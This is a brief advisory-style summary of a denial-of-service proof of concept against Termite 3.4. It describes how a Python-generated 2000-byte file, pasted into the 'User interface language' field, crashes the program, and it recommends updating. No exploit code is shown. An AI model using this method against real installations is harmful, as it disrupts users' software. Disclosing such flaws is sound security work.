Termite 3.4 – Denial of Service (PoC)

This exploit creates a file with a large payload, causing a denial of service in Termite 3.4. By running a python script, a new file called "boom.txt" is created with a payload of 2000 bytes. When this content is copied and pasted into the "User interface language" field in Termite 3.4, it triggers a denial of service.

Mitigation:

To mitigate this vulnerability, it is recommended to update Termite to a newer version that has patched this issue.
